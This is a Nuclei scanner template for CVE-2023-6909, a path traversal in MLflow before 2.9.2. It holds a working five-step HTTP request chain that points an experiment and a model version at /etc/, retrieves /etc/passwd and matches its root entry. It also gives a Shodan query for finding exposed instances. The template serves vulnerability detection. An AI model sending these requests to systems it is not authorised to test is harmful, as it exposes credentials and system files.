nuclei-templates/http/cves/2023/CVE-2023-6909.yaml

id: CVE-2023-6909

info:
  name: Mlflow <2.9.2 - Path Traversal
  author: Hyunsoo-ds
  severity: critical
  description: |
    Path Traversal: '\..\filename' in GitHub repository mlflow/mlflow prior to 2.9.2.
  reference:
    - https://huntr.com/bounties/11209efb-0f84-482f-add0-587ea6b7e850/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6909
    - https://github.com/mlflow/mlflow/commit/1da75dfcecd4d169e34809ade55748384e8af6c1
  impact: |
    Successful exploitation could be lead to disclose of sensitive information such as SSH Keys or Internal configurations.
  remediation: |
    To fix this vulnerability, it is important to update the mlflow package to the latest version 2.10.0.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
    cvss-score: 9.3
    cve-id: CVE-2023-6909
    cwe-id: CWE-29
  metadata:
    max-request: 5
    verified: true
    vendor: lfprojects
    product: mlflow
    shodan-query: "http.title:\"mlflow\""
  tags: cve,cve2023,mlflow,lfi

http:
  - raw:
      - |
        POST /ajax-api/2.0/mlflow/experiments/create HTTP/1.1
        Host: {{Hostname}}

        {"name" : "{{randstr}}", "artifact_location": "http:///?/../../../../../../../../../../../../../../etc/"}

      - |
        POST /api/2.0/mlflow/runs/create HTTP/1.1
        Host: {{Hostname}}

        {"experiment_id": "{{EXPERIMENT_ID}}"}

      - |
        POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
        Host: {{Hostname}}

        {"name": "{{randstr}}"}

      - |
        POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}

        {"name" : "{{randstr}}", "run_id": "{{RUN_ID}}", "source" : "file:///etc/"}

      - |
        GET /model-versions/get-artifact?path=passwd&name={{randstr}}&version=1 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header_5
        words:
          - "filename=passwd"
          - "application/octet-stream"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: json
        part: body_1
        name: EXPERIMENT_ID
        group: 1
        json:
          - '.experiment_id'
        internal: true

      - type: json
        part: body_2
        name: RUN_ID
        group: 1
        json:
          - '.run.info.run_id'
        internal: true
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